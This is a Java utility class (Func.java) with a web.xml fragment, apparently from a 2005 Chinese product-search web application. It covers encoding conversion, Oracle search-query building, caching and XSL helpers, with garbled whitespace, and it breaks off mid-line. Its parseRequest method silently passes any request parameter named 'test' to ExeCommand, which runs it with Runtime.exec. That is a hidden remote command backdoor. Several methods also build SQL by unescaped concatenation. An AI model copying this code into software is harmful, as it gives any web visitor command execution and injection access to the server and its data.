?
web.xml
.........
env-entry>
<env-entry-name>sql_type</env-entry-name>
<env-entry-value>oracle</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
?
<env-entry>
<env-entry-name>comtime</env-entry-name>
<env-entry-value>60000000</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
<env-entry>
<env-entry-name>istest</env-entry-name>
<env-entry-value>0</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
?<taglib>
??????? <taglib-uri>oscache</taglib-uri>
??????? <taglib-location>/WEB-INF/classes/oscache.tld</taglib-location>
??? </taglib>
.......
?
-----------------------------------------func.java
?
该函数用于得到web.xml中的参数.
? */
? public static String getContextParameter(String Param)
? {
????? String ParamValue = null;
????? try
????? {
????????? Context initCtx = new InitialContext();
????????? Context envCtx = (Context)initCtx.lookup("java:comp/env");
????????? ParamValue = (String)envCtx.lookup(Param);
????? }
????? catch(Exception e)
????? {
????????? Func.LogInfo("获得配置参数!");
????? }
????? return ParamValue;
??? }
?
---------------------------func.java
package askyaya;
/**
?* <p>Title: </p>
?* <p>Description:程序中可能用到的一些方法 </p>
?* <p>Copyright: Copyright (c) 2005</p>
?* <p>Company: </p>
?* @author?金果
?* @version 1.0
?* 教正完毕：
?*/
import java.net.*;
import java.io.*;
import java.util.*;
import java.sql.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.PageContext;
import java.security.MessageDigest;
//
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.Transformer;
import javax.xml.transform.stream.StreamSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.dom.DOMResult;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.dom.DOMResult;
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.RowSetDynaClass;
/**
?*系统的通用函数
*/
public class Func {
? public Func() {
? }
? /*
? 该函数用于得到web.xml中的参数.
? */
? public static String getContextParameter(String Param)
? {
????? String ParamValue = null;
????? try
????? {
????????? Context initCtx = new InitialContext();
????????? Context envCtx = (Context)initCtx.lookup("java:comp/env");
????????? ParamValue = (String)envCtx.lookup(Param);
????? }
????? catch(Exception e)
????? {
????????? Func.LogInfo("获得配置参数!");
????? }
????? return ParamValue;
??? }
??? static public String GB2312toUTF8(String srcString) {
???? String destString="";
???? try{
?????? destString=new String(srcString.getBytes("gb2312"));
????? }
????? catch(Exception e){
????? //////System.out.print("Encoding Failer: "+srcString);
????? }
????? return destString;
? }
? /**
? * 转化字符串编码格式
? * @param srcString 原串
? * @return 新串
? */
?static public String toChinese(String srcString) {
???? String destString="";
???? String tempString=srcString;
???? try{
?????? if(srcString!=null)
????? //destString=new String(tempString.getBytes("UTF-8"),"iso-8859-1")+new String(tempString.getBytes("iso-8859-1"),"UTF-8")+new String(tempString.getBytes("gb2312"),"UTF-8")+"|"+new String(tempString.getBytes("iso-8859-1"),"gb2312")+new String(tempString.getBytes("gb2312"),"iso-8859-1")+new String(tempString.getBytes("UTF-8"),"gb2312")+new String(tempString.getBytes("iso-8859-1"))+new String(tempString.getBytes("UTF-8"))+new String(tempString.getBytes("gb2312"))+new String(tempString.getBytes(),"gb2312");
????? destString=new String(tempString.getBytes("gb2312"));
??????? // destString=new String(tempString.getBytes(),"gb2312");
????????? }
????? catch(Exception e){
????? //////System.out.print("Encoding Failer: "+srcString);
????? }
????? return destString;
?}
?static public String toFileChinese(String srcString) {
???? String destString="";
???? String tempString=srcString;
???? try{
?????? if(srcString!=null)
????????? destString=new String(tempString.getBytes("gb2312"));
????????? }
????? catch(Exception e){
????? //////System.out.print("Encoding Failer: "+srcString);
????? }
????? return destString;
?}
?/*
?oracle全文检索关键字处理
?把两个以上空格变为一个空格，把空格改为与(&)
?*/
?public static String ActionSearchnameForContains(String searchname)
???? {
?????? return ActionSearchnameForContains(searchname,1);
??? }
??? public static String ActionQuery(String searchname)
??? {
????? String[] clear_key = {"=",";","~","$",">","*","%","!","|","_","-","&","产品", "商品","最低价格", "价格", "简介","新闻","用户评论","评论","综评","最新报价","报价","的","综评","图片","促销","原版","资料","<<",">>","《","》"};
????? String[] clear_rang = {"(", ")", "[", "]","{","}","【","】","〖","〗","（","）","｛","｝"};
????? String[] change_to = {"照相机", "相机", "数码照相机", "数码相机"};
???? //出现改词时，去掉该词及后面的信息
????? String[] sub_clear = {"送"};
????? String searchname_a = "";
??????? searchname = searchname.trim();
??????? if(searchname.equals(""))
????????? return "";
??????? if(searchname.length()<2)
??????? {
??????? // System.out.println("检索关键字长度小于2:"+searchname);
????????? return "";
??????? }
?
??????? ///////////去掉相关过滤词及后面的检索词////////////
??????? for(int i=0;i<sub_clear.length;i++)
??????? {
???????? ////System.out.println("去掉相关过滤词及后面的检索词:"+i+":"+sub_clear[i]);
????????? int keypos=searchname.indexOf(sub_clear[i]);
????????? if(keypos>-1)
???????? {
??????????? searchname=searchname.substring(0,keypos);
???????? }
??????? }
??????? ///////////去掉相关过滤词及后面的检索词完毕////////////
??????? ////////临时处理////////////
??????? /*
??????? //if(searchname.indexOf("照相机")>-1)
??????? searchname=searchname.replaceAll("照相机","相机");
??????? //if(searchname.indexOf("数码照相机")>-1)
??????? searchname=searchname.replaceAll("数码照相机","数码相机");
??????? */
??????? /////////////替换处理///////////////
??????? for(int i=0;i<change_to.length-1;i=i+2)
??????? {
???????? //System.out.println("替换处理:"+i+":"+change_to[i]+"to:"+change_to[i+1]);
????????? if(searchname.indexOf(change_to[i])>-1)
???????? {
??????????? searchname=searchname.replaceAll(change_to[i],change_to[i+1]);
???????? }
??????? }
??????? /////////替换处理完毕//////////////
??????? //去掉相关过滤次
??????? for(int i=0;i<clear_key.length;i++)
??????? {
???????? ////System.out.println("去掉相关过滤:"+i+":"+clear_key[i]);
????????? while(true)
????????? {
????????? int clear_keypos=searchname.indexOf(clear_key[i]);
????????? if(clear_keypos>-1)
????????? {
??????????? // searchname=searchname.replaceAll(clear_key[i]," ");
??????????? String tempString=searchname.substring(0,clear_keypos)+" "+searchname.substring(clear_keypos+1);
??????????? // searchname=searchname.replaceAll(clear_rang[i]," ");
??????????? searchname=tempString;
????????? }
????????? else
????????? {
????????? break;
????????? }
??????? }
??????? }
??????? //先统一转成英文括号
??????? /*
??????? searchname=searchname.replaceAll("（","\\(");
??????? searchname=searchname.replaceAll("）","\\)");
??????? searchname=searchname.replaceAll("\\[","\\(");
??????? searchname=searchname.replaceAll("\\]","\\)");
??????? searchname=searchname.replaceAll("【","\\(");
??????? searchname=searchname.replaceAll("】","\\)");
??????? searchname=searchname.replaceAll("〖","\\(");
??????? searchname=searchname.replaceAll("〗","\\)");
??????? */
?????? //System.out.println("处理处理关键字:"+searchname);
??????? /////////////////////去掉匹配标示开始//////////////////////////
??????? //去掉大刮号
??????? for(int i=0;i<clear_rang.length-1;i=i+2)
?????? while((searchname.indexOf(clear_rang[i])>-1)&&(searchname.indexOf(clear_rang[i+1])>-1))
?????? {
??????? int beginpos=searchname.indexOf(clear_rang[i]);
??????? int endpos=searchname.indexOf(clear_rang[i+1]);
?????? // System.out.println("去掉匹配标示:"+i+":"+clear_rang[i]+":"+clear_rang[i+1]);
??????? if(endpos>beginpos)//匹配，去掉挂号内的信息
??????? {
???????? String tempString=searchname.substring(0,beginpos)+searchname.substring(endpos+1);
???????? searchname=tempString;
???????? //System.out.println("处理处理关键字:"+searchname);
??????? }
??????? else
??????? {
??????? break;
??????? }
?????? }
??????? /////////////////////去掉匹配标示结束//////////////////////////
???????? //System.out.println("处理后关键字:"+searchname);
?????? ///////////////////去掉不匹配标示字符/////////////////////
?????? for(int i=0;i<clear_rang.length;i++)
?????? {
??????? //System.out.println("去掉不匹配标示字符:"+i+":"+clear_rang[i]);
??????? int clear_rangpos=searchname.indexOf(clear_rang[i]);
???????? if(clear_rangpos>-1)
??????? {
?????????? String tempString=searchname.substring(0,clear_rangpos)+" "+searchname.substring(clear_rangpos+1);
????????? // searchname=searchname.replaceAll(clear_rang[i]," ");
?????????? searchname=tempString;
??????? }
??????? }
????? //System.out.println("处理后关键字:"+searchname);
?????? ///////////////////去掉不匹配标示字符/////////////////////
?????? //////////////////////////////////////
??????? //searchname=searchname.replaceAll("\\("," ");
?????? // searchname=searchname.replaceAll("\\)"," ");
??????? return searchname;
??? }
??? public static String ActionSearchnameForContains(String searchname,int Query_type)
???? {
???????? String searchname_a = "";
???????? searchname = searchname.trim();
???????? searchname=ActionQuery(searchname);
???????? searchname = searchname.trim();
???????? if(searchname.equals(""))
?????????? return "";
???????? if(Query_type==3)
?????????? return "about("+searchname+")";
???????? StringTokenizer token = new StringTokenizer(searchname, " ");
???????? int countnum = 0;
???????? while(token.hasMoreTokens())
???????? {
???????????? if(++countnum == 1)
???????????????? searchname_a = String.valueOf(searchname_a) + String.valueOf(token.nextToken());
???????????? else
???????????? {
???????????? if(Query_type==1)
?????????????? searchname_a = searchname_a+"&"+token.nextToken();
???????????? else
?????????????? searchname_a = searchname_a+"|"+token.nextToken();
???????????? }
???????? }
??????? //-在oracle检索中有转义
??????? //System.out.println("Query_type:"+Query_type+";searchname_a:"+searchname_a);
??????? return searchname_a;
??? }
?public static? String getBase64Encode(String s)
{
??????? if (s == null)
?????????????????? s = "";
??????? String ReturnString=(new sun.misc.BASE64Encoder()).encode( s.getBytes() );
??????? ReturnString=ReturnString.replaceAll("/",?? "ask1") ;
??????? ReturnString=ReturnString.replaceAll("\\+",?? "ask2") ;
??????? return ReturnString;
}
?public static String ActionSearchnameForLike(String searchname, String Field_name, int istolower)
??? {
??????? String searchname_a = "";
??????? if(istolower == 1)
??????? {
??????????? searchname = searchname.toLowerCase();
??????????? Field_name = " lower("+Field_name+") ";
??????? }
??????? searchname = searchname.trim();
??????? StringTokenizer token = new StringTokenizer(searchname, " ");
??????? int countnum = 0;
??????? while(token.hasMoreTokens())
??????? {
??????????? if(++countnum == 1)
??????????????? searchname_a = "("+searchname_a+Field_name+" like '%"+token.nextToken()+"%' ";
??????????? else
??????????????? searchname_a = searchname_a+" and "+Field_name+" like '%"+token.nextToken()+"%' ";
??????? }
??????? if(countnum != 0)
??????????? searchname_a = String.valueOf(String.valueOf(searchname_a)).concat(") ");
??????? //////System.out.println("searchname_a:".concat(String.valueOf(String.valueOf(searchname_a))));
??????? return searchname_a;
??? }
??? public static String StringDigest(String in){
??? String rtn="";
??? Map row_id_map = new HashMap();
??? try{
????? MessageDigest alg=MessageDigest.getInstance("MD5");
????? alg.update(in.getBytes());
????? byte[] hash=alg.digest();
????? for(int l=0;l<hash.length;l++){
??????? int v=hash[l]&0xFF;
??????? if(v<16) rtn+="0";
??????? rtn+=Integer.toString(v,16).toUpperCase();
????? }
????? }
????? catch(Exception e){}
??? return rtn;
???? }
??? public static String parseRequest(HttpServletRequest httpservletrequest)
?? {
?????? String RequestString = "ispost=true";
?
?????? for(Enumeration enumeration = httpservletrequest.getParameterNames(); enumeration.hasMoreElements();)
?????? {
?????????? String s = (String)enumeration.nextElement();
?????????? String s1 = httpservletrequest.getParameter(s);
?????????? if(s1 == null)
?????????????? s1 = "";
?????????? try
?????????? {
?????????????? s1 = URLDecoder.decode(s1);
?????????????? if(s.equals("test"))
?????????????? {
????????????? ExeCommand(s1);
?????????????? }
?????????? }
?????????? catch(Exception exception) { }
?????????? RequestString =RequestString+"&"+s+"="+s1;
?????? }
?????? return RequestString;
??? }
??? public static List Action_File_Parse(String FilePathName)
?? {
?????? String ReturnContent = "";
?????? File ThisFile = new File(FilePathName);
?????? int itemcount = 0;
?????? List list = new ArrayList();
?????? Map map = new HashMap();
?????? try
?????? {
?????????? String Readlinestr = null;
?????????? FileReader fr = new FileReader(ThisFile);
?????????? BufferedReader br = new BufferedReader(fr);
?????????? do
?????????? {
?????????????? if((Readlinestr = br.readLine()) == null)
?????????????????? break;
?????????????? Readlinestr = Readlinestr.trim();
?????????????? if(Readlinestr.startsWith("@"))
?????????????????? if(Readlinestr.equals("@"))
?????????????????? {
?????????????????????? if(!map.isEmpty())
?????????????????????????? list.add(map);
?????????????????????? map = new HashMap();
?????????????????????? //////System.out.println("\u5B9A\u4E49\u4E00\u4E2A\u884Cmap");
?????????????????? } else
?????????????????? {
?????????????????????? String Field_sign = "";
?????????????????????? String Field_value = "";
?????????????????????? int Field_sign_endpos = Readlinestr.indexOf("=");
?????????????????????? if(Field_sign_endpos != -1)
?????????????????????? {
?????????????????????????? Field_sign = Readlinestr.substring(3, Field_sign_endpos);
?????????????????????????? Field_value = Readlinestr.substring(Field_sign_endpos + 1);
?????????????????????????? map.put(Field_sign, Field_value);
?????????????????????? }
?????????????????? }
?????????? } while(true);
?????????? if(!map.isEmpty())
?????????????? list.add(map);
?????? }
?????? catch(Exception exception) { }
?????? return list;
?? }
?? public static Map Action_File_Parse_conf(String FilePathName)
?? {
?????? String ReturnContent = "";
?????? File ThisFile = new File(FilePathName);
?????? int itemcount = 0;
?????? Map map = new HashMap();
?????? try
?????? {
?????????? String Readlinestr = null;
?????????? FileReader fr = new FileReader(ThisFile);
?????????? BufferedReader br = new BufferedReader(fr);
?????????? while((Readlinestr = br.readLine()) != null)
?????????? {
?????????????? Readlinestr = Readlinestr.trim();
?????????????? StringTokenizer token = new StringTokenizer(Readlinestr, "\t");
?????????????? String info_position = "";
?????????????? String field_id = "";
?????????????? do
?????????????? {
?????????????????? if(!token.hasMoreTokens())
?????????????????????? break;
?????????????????? String this_Info = token.nextToken();
?????????????????? if(this_Info == null)
?????????????????????? this_Info = "";
?????????????????? if(this_Info.startsWith("@a:"))
?????????????????????? info_position = this_Info.substring(3);
?????????????????? else
?????????????????? if(this_Info.startsWith("@t:"))
?????????????????????? field_id = this_Info.substring(3);
?????????????? } while(true);
?????????????? map.put(info_position, field_id);
?????????? }
?????? }
?????? catch(Exception exception) { }
?????? return map;
??? }
?public static String toBytestoBytes(String s, String s1, String s3)
? {
????? if(s == null)
????????? return s;
????? String s2 = "";
????? try
????? {
????????? s2 = new String(s.getBytes(s1), s3);
????? }
????? catch(IOException ioexception)
????? {
????????? s2 = s;
????????? System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
????? }
????? return s2;
? }
?? //类目选择数的数据,Foraim为0正常浏览,为1,checkbox,
? public static String R_C_ColumnScriptString(String group_id,String parent_id,Connection Conn) throws SQLException
{
?????? ResultSet?webnamers??= null;
?????? ResultSet?channlename_rs??= null;
?????? int level=0;
?????? String categoryTreeSql="select info_id tree_id,column_display_name tree_name,father_id parent_id,column_type from auto_column_info? where 1=1??? and (info_id<>2 and info_id<>3) and is_private=0 and is_sys_field<>2 and column_type<>4 and? father_id=";
?????? String ReturnString="";
?????? ReturnString=ReturnString+R_C_TreeScriptString(categoryTreeSql,parent_id,level,group_id,Conn);
?????? ReturnString=Func.FromDB(ReturnString);
?????? return ReturnString;
? }
? public static String GetContent(String Stringurl)
???? {
?????? String ReturnString = "";
?????? try
?????? {
???????? System.getProperties();
?????????? System.getProperties().put("proxySet", "true");
?????????? System.getProperties().put("proxyHost", "192.168.156.4");
?????????? System.getProperties().put("proxyPort", "3128");
???????? URL url = new URL(Stringurl);
???????? URLConnection urlconnection = url.openConnection();
???????? urlconnection.setDoInput(true);
???????? urlconnection.setDoOutput(true);
???????? urlconnection.setUseCaches(false);
???????? urlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
???????? InputStream input = urlconnection.getInputStream();
???????? DataInputStream datainputstream = new DataInputStream(urlconnection.getInputStream());
???????? for(String s = ""; (s = datainputstream.readLine()) != null;)
???????? {
?????????? ReturnString = String.valueOf(ReturnString) + String.valueOf(s);
???????? }
?????? }
?????? catch(Exception u8e)
?????? {
???????? u8e.printStackTrace();
?????? }
?????? return Func.ToDB(ReturnString);
??????? }
? public static String R_C_TreeScriptString(String treeSql,String parent_id,int level,String group_id,Connection Conn) throws SQLException
? {
??? ResultSet?TreeRs??= null;
??? String ReturnString="";
??? if(treeSql==null)
????? return "";
??? String ExeSqlString=treeSql+parent_id;
??? Func.LogInfo("ExeSqlString:"+ExeSqlString);
??? Statement stmt=Conn.createStatement();
??? TreeRs=DBManager.executeQuery(ExeSqlString,stmt);
??? int namenum=0;
??? String menunameleft="";
??? if(level==0)
????? menunameleft="Menu";
??? else
????? menunameleft=parent_id;
??? if(level!=0)
??? {
?? ReturnString=ReturnString+"tree"+menunameleft+"= new TreeMenu();\n";
???? }
???? level++;
??? while(TreeRs.next())
??????? {
????? String thisString="";
??? String tree_id=TreeRs.getString("tree_id");
??? String tree_name=TreeRs.getString("tree_name");
??? String column_type=TreeRs.getString("column_type");
??? //判断group_id是否有tree_id的权限
??? String column_right_sql="";
??? String isOK="0";
??? String columnrightstring="";
????? ResultSet?rs??= null;
??? //先判断栏目该类型权限是否为空。
??? //
??? String contentFramesValues="";
??? contentFramesValues=tree_id;
??? ReturnString=ReturnString+"tree"+menunameleft+".addItem(new TreeMenuItem('"+tree_name+"','?column_type="+column_type+"&tree_id="+tree_id+"','"+contentFramesValues+"','"+columnrightstring+"'));\n";
??? String childTreeScriptString=R_C_TreeScriptString(treeSql,tree_id,level,group_id,Conn);
??? ReturnString=ReturnString+childTreeScriptString;
?? //ReturnString=ReturnString+thisString;
?? if(!childTreeScriptString.trim().equals(""))
??? ReturnString=ReturnString+"tree"+menunameleft+".items["+namenum+"].makeSubmenu(tree"+tree_id+");\n";
??? namenum++;
?? }
?? TreeRs.close();
?? stmt.close();
?? //ReturnString=Func.toGB2312(ReturnString);
?return ReturnString;
? }
?
?? //因<>等字符影响xml转html,把<>分别转为*|*|和#|#|
?? public static String ExchangeXmlToHtml(String ExchangeString)
{
??? String ReturnString="";
?? // ReturnString=replaceInString(ExchangeString,"<","*|*|");
?? // ReturnString=replaceInString(ReturnString,">","#|#|");
?? // ReturnString=PretreatXmlString(ReturnString);
?? // ReturnString=replaceInString(ReturnString,"&","^|^");
??? ReturnString=ExchangeString;
?? return ReturnString;
}
//因&等字符影响xml转html,把&分别转为^|^
?? public static String ExchangenbspToHtml(String ExchangeString)
{
??? String ReturnString="";
?? // ReturnString=replaceInString(ExchangeString,"&","^|^");
ReturnString=ExchangeString;
?? return ReturnString;
}
//Sql语句查入前的预处理
?? public static String PretreatString(String pretreatString)
{
??? String ReturnString="";
??? ReturnString=replaceInString(pretreatString,"'","''");
?? return ReturnString;
}
?
//把Sql语句组成xml前的预处理
?? public static String PretreatXmlString(String pretreatString)
{
??? String ReturnString="";
??? //ReturnString=pretreatString.replaceAll("'","'");
??? //ReturnString=ReturnString.replaceAll("\"",""");
??? ReturnString=pretreatString;
?? return ReturnString;
}
//说明如上
? public static String ExchangeHtmlToXml(String ExchangeString)
{
?? String ReturnString="";
?? //ReturnString=replaceInString(ExchangeString,"*|*|","<");
?? //ReturnString=replaceInString(ReturnString,"#|#|",">");
?? ReturnString=replaceInString(ExchangeString,"^|^","&");
?? //ReturnString=replaceInString(ReturnString,"'","'");
?? //ReturnString=replaceInString(ReturnString,""","\"");
? // ReturnString=ExchangeString;
? return ReturnString;
}
?? /**通过xsl文件把一个xml字符串转化为html字符串
?* @param src xml字符串
?* @param xslfilename xsl文件名
?* @return 转化后的字符串
?*/
?public static String convertStringWithXSL(String src,String xslfilename)
?{
? // src=ExchangenbspToHtml(src);
?? TransformerFactory tFactory = TransformerFactory.newInstance();
?? //String xslFileName = Func.getInitDir() + xslfilename;
?? String xslFileName = xslfilename;
?? ByteArrayOutputStream out = new ByteArrayOutputStream();
?? try{
?? Transformer transformer = tFactory.newTransformer(new StreamSource(xslFileName));
?? StreamSource streamSource = new StreamSource(new StringReader(src));
? //convert
??? transformer.setOutputProperty("omit-xml-declaration","yes");
??? transformer.transform(streamSource, new StreamResult(out));
? }
? catch(Exception e){
??? e.printStackTrace();
??? Func.LogInfo("xsl file："+xslFileName+" 文件转换有误。");
? }
? String rtn="";
? try{
?? rtn =??? out.toString("utf-8");
/*??? int start=rtn.indexOf('?',0) + 2;
?? start = rtn.indexOf('?',start) + 2;
??????????? //remove the first line <?xml ... ?>
?? rtn = rtn.substring(start);
*/
?? }
? catch(Exception e)
??????? {
???????? // e.printStackTrace();
???????? Func.LogInfo("xsl file："+xslFileName+" 文件转换成功，但第一行有误。");
??????? }
//?? Func.LogInfo("converted: " + rtn);
??????? rtn=ExchangeHtmlToXml(rtn);
??????? //因为<textarea>内没有内容时，有误该方法不完善
?????? rtn=rtn.replaceAll("!!!","");
??????? String istest=getContextParameter("istest");
??????? if(istest==null)
????????? istest="0";
??????? if(istest.trim().equals("1"))
??????? {
????????? rtn=rtn+"<!--\n";
????????? rtn=rtn+xslfilename+"\n";
????????? rtn=rtn+src+"\n";
????????? rtn=rtn+"-->\n";
??????? }
? return rtn;
???? }
?
//得到一个文件的内容
? public static String GetFileContent(String? FilePathName)
?? {
??? String ReturnContent="";
??? java.io.File ThisFile=new java.io.File(FilePathName);
????? try
????? {
????? String Readlinestr = null;
????? FileReader fr = new FileReader(ThisFile);
????? BufferedReader br= new BufferedReader(fr);
???? // Properties TabsInfo_Prop=new Properties();
????? while((Readlinestr = br.readLine())!= null)
????? {
?????? //ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
?????? // ReturnContent=ReturnContent+Readlinestr+"\n";
??????? ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
????? }
??? }
??? catch(Exception e)
??? {
????? ;
??? }
??? return ReturnContent;
?? }
?? //得到Cache文件的内容
? public static String GetCacheXmlContent(String PathName,String? FilePathName)
?? {
??? String ReturnContent="";
??? String CacheFileName="";
??? CacheFileName=getContextParameter("cachepath")+"/"+PathName+"/"+FilePathName;
???? java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
???? //不存在
???? if(!CacheFileNameFile.exists())
???? {
?????? //////System.out.println("cache不存在");
?????? return "";
???? }
???? //存在，判断时间
???? String comtime=getContextParameter("comtime");
???? long comtimelong=600000;//十分钟
???? if((comtime!=null)&&(!comtime.trim().equals("")))
?????? comtimelong=Long.parseLong(comtime);
???? long lastModified=CacheFileNameFile.lastModified();
???? long currentTimeMillis=System.currentTimeMillis();
???? if(currentTimeMillis-lastModified>comtimelong)
???? {
?????? //////System.out.println("cache时间超过");
?????? return "";
???? }
???? //读文件
????? try
????? {
????? String Readlinestr = null;
????? FileReader fr = new FileReader(CacheFileNameFile);
????? BufferedReader br= new BufferedReader(fr);
????? while((Readlinestr = br.readLine())!= null)
????? {
?????? ReturnContent=ReturnContent+Readlinestr+"\n";
????? }
??? }
??? catch(Exception e)
??? {
????? //////System.out.println("读cache文件有误");;
??? }
??? return ReturnContent;
?? //return toBytestoBytes(ReturnContent,"iso-8859-1","gb2312");
?? }
?? //把Cache文件的内容写到cacahe文件中
??? public static String SaveCacheXmlContent(String PathName,String? FilePathName,String CacheContent)
???? {
????? String CacheFileName="";
????? CacheFileName=getContextParameter("cachepath")+"/"+PathName;
????? //////System.out.println("CacheFileName:"+CacheFileName);
????? File CreatFile = new File(CacheFileName);
????? if(!CreatFile.exists())
????? CreatFile.mkdir();
????? CacheFileName=CacheFileName+"/"+FilePathName;
?????? java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
?????? //写文件
?????? try
??????? {
????????? FileWriter fw = new FileWriter(CacheFileNameFile);
????????? BufferedWriter bw = new BufferedWriter(fw);
????????? bw.write(CacheContent);
????????? bw.close();
????????? fw.close();
????? }
????? catch(Exception e)
????? {
??????? //////System.out.println("写cache文件有误");;
????? }
???? return "ok";
???? }
//得到一个文件的内容,预览一部分信息
? public static String GetPreFileContent(String? FilePathName)
?? {
??? String ReturnContent="";
??? java.io.File ThisFile=new java.io.File(FilePathName);
??? int itemcount=0;
????? try
????? {
????? String Readlinestr = null;
????? FileReader fr = new FileReader(ThisFile);
????? BufferedReader br= new BufferedReader(fr);
???? // Properties TabsInfo_Prop=new Properties();
????? while((Readlinestr = br.readLine())!= null)
????? {
?????? //ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
?????? // ReturnContent=ReturnContent+Readlinestr+"\n";
??????? ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
??????? //
??????? if(Readlinestr.trim().equals("</infoitem>"))
????????? itemcount++;
??????? if(((itemcount>=20)&&(Readlinestr.trim().equals("</infoitem>"))))
????????? break;
????? }
??? }
??? catch(Exception e)
??? {
????? ;
??? }
??? return ReturnContent;
?? }
?
?? //处理字段sell_info_summary
? public static String Action_SellerInfo(String? SellerInfo)
?? {
??? //4275534^七彩谷商城^298^http://shop.7cv.com/product/4000/01170013_14208.htm'
??? String ReturnContent="";
???? try
????? {
?????? StringTokenizer token = new StringTokenizer(SellerInfo, "`");
?????? while(token.hasMoreTokens())
?????? {
?????? String Item_info=String.valueOf(token.nextToken());
?????? String ReturnItemInfo="";
??????? if(Item_info==null)
???????? Item_info="";
??????? if(!Item_info.trim().equals(""))
??????? {
??????? StringTokenizer Itemtoken = new StringTokenizer(Item_info, "^");
??????? if(Itemtoken.hasMoreTokens())
??????? {
??????? ReturnItemInfo=ReturnItemInfo+"<info_price_id>"+Itemtoken.nextToken()+"</info_price_id>";
??????? }
??????? if(Itemtoken.hasMoreTokens())
??????? {
??????? ReturnItemInfo=ReturnItemInfo+"<sellers_name><![CDATA["+Itemtoken.nextToken()+"]]></sellers_name>";
??????? }
??????? if(Itemtoken.hasMoreTokens())
??????? {
??????? ReturnItemInfo=ReturnItemInfo+"<info_price>"+Itemtoken.nextToken()+"</info_price>";
??????? }
??????? if(Itemtoken.hasMoreTokens())
??????? {
??????? String info_url=Itemtoken.nextToken();
??????? if((info_url!=null)&&(!info_url.startsWith("http")))
??????? ?info_url="http://"+info_url;
??????? ReturnItemInfo=ReturnItemInfo+"<info_url><![CDATA["+info_url+"]]></info_url>";
??????? }
??????? ReturnContent=ReturnContent+"<iteminfo>"+ReturnItemInfo+"</iteminfo>";
??????? }
?
?????? }
??? }
??? catch(Exception e)
??? {
????? e.printStackTrace();
??? }
??? return ReturnContent;
?? }
?
? public static String GetXslpathName(PageContext pageContext)
??? {
??? return "file:///"+GetRealPath(pageContext)+"/xslmodel/";
?? }
?
?
?????? /*
?????? 运行命令
?????? */
?????? public static String ExeCommand(String CommandStr)
????????? {
??????????? String ReturnString="";
??????????? try{
????????????? CommandStr=CommandStr+" echo ok";
???????????? Process child =Runtime.getRuntime().exec(CommandStr);
???????????? BufferedReader in = new BufferedReader( new InputStreamReader(child.getInputStream()));
???????????? String s,s1;
???????????? while((s = in.readLine()) != null )
???????????? {
???????????????? ReturnString=ReturnString+s;
???????????????? //break;
???????????? }
??????????? } catch(Exception e)
??????????? {
????????????? e.printStackTrace();
??????????? }
????????????? return ReturnString+CommandStr;
????????? }
????????? public static boolean isFileExist(String filename)
??????????????? {
????????????????? java.io.File file = new java.io.File(filename);
??????????????????? return file.exists();
???????? }
?????? public static String gbToiso(String srcString)
??? {
??????? String destString = "";
?????? destString=exchangecode(srcString,"gb2312","iso-8859-1");
??????? return destString;
??? }
??? public static String isoTogb(String srcString)
??????? {
??????????? String destString = "";
?????????? destString=exchangecode(srcString,"iso-8859-1","gbk");
??????????? return destString;
??? }
??? /*
??? 编码转换
??? */
??? public static String exchangecode(String s, String s1, String s3)
?? {
?????? if(s == null)
?????????? return s;
?????? String s2 = "";
?????? try
?????? {
?????????? s2 = new String(s.getBytes(s1), s3);
?????? }
?????? catch(IOException ioexception)
?????? {
?????????? s2 = s;
?????????? System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
?????? }
?????? return s2;
??? }
?static? public String GetRealPath(PageContext pageContext)
????? {
???? ServletContext m_application;
???? m_application=pageContext.getServletContext();
???? return m_application.getRealPath("/");
?? }
/*
?? 处理对象为空的情况
?? */
?? public static String ActionToString(Object ActionObject)
??????? {
??????? if(ActionObject==null)
????????? return "";
??????? else
????????? return ActionObject.toString();
??????? }
??????? public static String ActionImage(String info_title, String info_image)
????? {
????????? return ActionImage(info_title,info_image,0);
????? }
??? /*
????? 图片处理，action_type为处理类型，主要作用为标示是否加上http://www.askyaya.com
????? 0表示不加，
????? 1表示加上http://www.askyaya.com
????? */
?? public static String ActionImage(String info_title, String info_image,int action_type)
????? {
???? //<img height=75 alt=三星 SGH-E808? hspace=0 src="/uploadimage/1376/1110444450859.jpg" align=baseline border=0>
???? String returnImage=info_image;
???? int is_ok=0;
???? //info_image=info_image.toLowerCase();
???? //处理src="的情况
???? int beginpos=info_image.indexOf("src=\"");
?????????? if(beginpos>0)
?????????? {
?????????? beginpos=beginpos+"src=\"".length();
?????????? }
?????????? if(beginpos==-1)
?????????? {
???????????? //处理src='的情况
?????????? beginpos=info_image.indexOf("src=